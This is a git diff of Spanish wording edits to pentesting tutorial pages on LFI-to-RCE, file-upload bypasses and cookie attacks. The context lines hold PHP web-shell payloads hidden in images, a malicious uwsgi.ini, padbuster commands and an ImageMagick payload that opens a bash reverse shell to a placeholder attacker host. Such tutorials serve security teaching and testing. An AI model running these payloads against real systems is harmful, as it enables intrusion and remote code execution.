@ -6,7 +6,7 @@ Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una pági
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
|
||||
Necesitas corregir el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
|
||||
Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
```
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# LFI2RCE a través de Fallo de Segmentación
|
||||
# LFI2RCE a través de un fallo de segmentación
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
|
||||
```
|
||||
Debes saber que si **envías** una solicitud **POST** **que contiene** un **archivo**, PHP creará un **archivo temporal en `/tmp/php<algo>`** con el contenido de ese archivo. Este archivo será **eliminado automáticamente** una vez que se procese la solicitud.
|
||||
|
||||
Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar** en la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
|
||||
Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar**lo con la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
|
||||
|
||||
Puedes usar la imagen de docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para pruebas.
|
||||
```python
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## **Subidas de archivos PHP**
|
||||
|
||||
Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según la RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
|
||||
Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según el RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
|
||||
|
||||
> [!NOTE]
|
||||
> **Alerta de seguridad: Los atacantes, conscientes de la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Local (LFI) para ejecutar código accediendo al archivo durante la subida.**
|
||||
|
||||
El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que se aleatoriza intencionalmente.
|
||||
El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que es intencionalmente aleatorio.
|
||||
|
||||
#### Explotación en sistemas Windows
|
||||
|
||||
@ -17,7 +17,7 @@ En Windows, PHP genera nombres de archivos temporales utilizando la función `Ge
|
||||
|
||||
- La ruta predeterminada es típicamente `C:\Windows\Temp`.
|
||||
- El prefijo suele ser "php".
|
||||
- El `<uuuu>` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque por fuerza bruta sea factible.
|
||||
- El `<uuuu>` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque de fuerza bruta sea factible.
|
||||
|
||||
Además, el proceso de explotación se simplifica en sistemas Windows. Una peculiaridad en la función `FindFirstFile` permite el uso de comodines en las rutas de Inclusión de Archivos Local (LFI). Esto permite crear una ruta de inclusión como la siguiente para localizar el archivo temporal:
|
||||
```
|
||||
@ -25,7 +25,7 @@ http://site/vuln.php?inc=c:\windows\temp\php<<
|
||||
```
|
||||
En ciertas situaciones, puede ser necesaria una máscara más específica (como `php1<<` o `phpA<<`). Se pueden probar sistemáticamente estas máscaras para descubrir el archivo temporal subido.
|
||||
|
||||
#### Explotación en sistemas GNU/Linux
|
||||
#### Explotación en Sistemas GNU/Linux
|
||||
|
||||
Para sistemas GNU/Linux, la aleatoriedad en la nomenclatura de archivos temporales es robusta, lo que hace que los nombres no sean predecibles ni susceptibles a ataques de fuerza bruta. Se pueden encontrar más detalles en la documentación referenciada.
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Si encontraste una **Local File Inclusion** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
|
||||
Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
@ -21,7 +21,7 @@ In the last example the session will contain the string blahblahblah
|
||||
Nota que con **`PHP_SESSION_UPLOAD_PROGRESS`** puedes **controlar datos dentro de la sesión**, así que si incluyes tu archivo de sesión puedes incluir una parte que controlas (un php shellcode por ejemplo).
|
||||
|
||||
> [!NOTE]
|
||||
> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión se limpiará lo antes posible. Así que esto será **Race Condition**.
|
||||
> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión será limpiado lo antes posible. Así que esto será **Race Condition**.
|
||||
|
||||
### El CTF
|
||||
|
||||
@ -29,7 +29,7 @@ En el [**CTF original**](https://blog.orange.tw/2018/10/) donde se comenta esta
|
||||
|
||||
Debido a la configuración predeterminada de `session.upload_progress.prefix`, nuestro **archivo de SESIÓN comenzará con un prefijo molesto** `upload_progress_` Tal como: `upload_progress_controlledcontentbyattacker`
|
||||
|
||||
El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de los filtros `convert.base64-decode`, esto se debe a que cuando **decodificas en base64 PHP eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
|
||||
El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de filtros `convert.base64-decode`, esto se debe a que cuando **PHP decodifica base64, eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
|
||||
|
||||
Más información en el escrito original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) y exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||
Otro escrito en [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
@ -16,7 +16,7 @@ Otras extensiones útiles:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass de comprobaciones de extensiones de archivo
|
||||
### Bypass de comprobaciones de extensiones de archivos
|
||||
|
||||
1. Si aplica, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
|
||||
@ -32,7 +32,7 @@ Otras extensiones útiles:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga útil._
|
||||
4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,7 +44,7 @@ Otras extensiones útiles:
|
||||
5. Agrega **otra capa de extensiones** a la verificación anterior:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
|
||||
6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
|
||||
- _ej: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
|
||||
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
|
||||
@ -56,7 +56,7 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
|
||||
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Haz la carga útil
|
||||
# Haz la carga
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
@ -66,19 +66,19 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` o también podrías **introducir la carga útil directamente** en una imagen:\
|
||||
`\` o también podrías **introducir la carga directamente** en una imagen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Otra técnica para hacer una carga útil que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
- Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
|
||||
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Otros trucos a verificar
|
||||
|
||||
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
|
||||
- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
|
||||
- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor.
|
||||
- **Posible divulgación de información**:
|
||||
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
|
||||
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
|
||||
@ -99,7 +99,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
|
||||
Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -107,9 +107,9 @@ Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque *
|
||||
|
||||
Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
|
||||
Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
|
||||
|
||||
Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas:
|
||||
Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -286,9 +286,9 @@ viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Incrustación de Shell PHP en PNG
|
||||
## Incrustar Shell PHP en PNG
|
||||
|
||||
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
||||
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
|
||||
|
||||
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@ Las cookies vienen con varios atributos que controlan su comportamiento en el na
|
||||
|
||||
### Expires y Max-Age
|
||||
|
||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie es eliminada. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
|
||||
### Dominio
|
||||
|
||||
@ -16,7 +16,7 @@ Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`
|
||||
|
||||
### Ruta
|
||||
|
||||
Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
|
||||
Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` se indica mediante el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
|
||||
|
||||
### Reglas de Ordenación
|
||||
|
||||
@ -36,13 +36,13 @@ Recuerda, al configurar cookies, entender estos atributos puede ayudar a garanti
|
||||
|
||||
| **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** |
|
||||
| --------------------- | --------------------------------------- | ---------------------------- |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
|
||||
Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
@ -78,7 +78,7 @@ La solicitud **solo** enviará la cookie en una solicitud HTTP solo si la solici
|
||||
|
||||
Las cookies con el prefijo `__Secure-` deben establecerse junto con la bandera `secure` de páginas que están aseguradas por HTTPS.
|
||||
|
||||
Para las cookies con el prefijo `__Host-`, deben cumplirse varias condiciones:
|
||||
Para las cookies con el prefijo `__Host-`, se deben cumplir varias condiciones:
|
||||
|
||||
- Deben establecerse con la bandera `secure`.
|
||||
- Deben originarse de una página asegurada por HTTPS.
|
||||
@ -89,7 +89,7 @@ Es importante notar que las cookies con el prefijo `__Host-` no pueden ser envia
|
||||
|
||||
### Sobrescribiendo cookies
|
||||
|
||||
Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al parser, por ejemplo, añadiendo "=" al principio o al final...:
|
||||
Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -111,7 +111,7 @@ Este ataque implica robar la cookie de un usuario para obtener acceso no autoriz
|
||||
|
||||
### Fijación de Sesión
|
||||
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, poseyendo la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||
En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
|
||||
|
||||
Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
|
||||
|
||||
@ -167,7 +167,7 @@ Esto resulta en que `document.cookie` devuelve una cadena vacía, lo que indica
|
||||
|
||||
#### Robo de Cookies Debido a Problemas de Análisis
|
||||
|
||||
(Revisa más detalles en la[investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye punto y coma, que normalmente debería separar pares clave-valor:
|
||||
(Revisa más detalles en la[investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye puntos y comas, que normalmente deberían separar pares clave-valor:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
@ -179,7 +179,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
- Zope busca una coma para comenzar a analizar la siguiente cookie.
|
||||
- Las clases de cookies de Python comienzan a analizar en un carácter de espacio.
|
||||
|
||||
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se pasan a servidores backend susceptibles a suplantación.
|
||||
Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se envían a servidores backend susceptibles a suplantación.
|
||||
|
||||
### Cookies $version y elusión de WAF
|
||||
|
||||
@ -232,7 +232,7 @@ Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente
|
||||
- Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
|
||||
- Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
|
||||
|
||||
**Padding Oracle - Ejemplos de Padbuster**
|
||||
**Ejemplos de Padding Oracle - Padbuster**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -254,7 +254,7 @@ Esta ejecución te dará la cookie correctamente cifrada y codificada con la cad
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada utilizando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
|
||||
Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
|
||||
|
||||
**El ataque**
|
||||
|
||||
@ -269,9 +269,9 @@ Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma.
|
||||
|
||||
**Cómo detectar y atacar:**
|
||||
|
||||
Crea 2 usuarios con datos casi idénticos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
|
||||
Crea 2 usuarios con casi los mismos datos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
|
||||
|
||||
Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario es cifrado).
|
||||
Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario está cifrado).
|
||||
|
||||
Debería haber un patrón (con el tamaño de un bloque utilizado). Así que, sabiendo cómo se cifran un montón de "a", puedes crear un nombre de usuario: "a"\*(tamaño del bloque)+"admin". Luego, podrías eliminar el patrón cifrado de un bloque de "a" de la cookie. Y tendrás la cookie del nombre de usuario "admin".
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ Esto puede ser peligroso ya que el atacante podría:
|
||||
|
||||
Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo alcance** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
|
||||
|
||||
Dependiendo de quién tiene **la ruta más específica** o cuál es la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
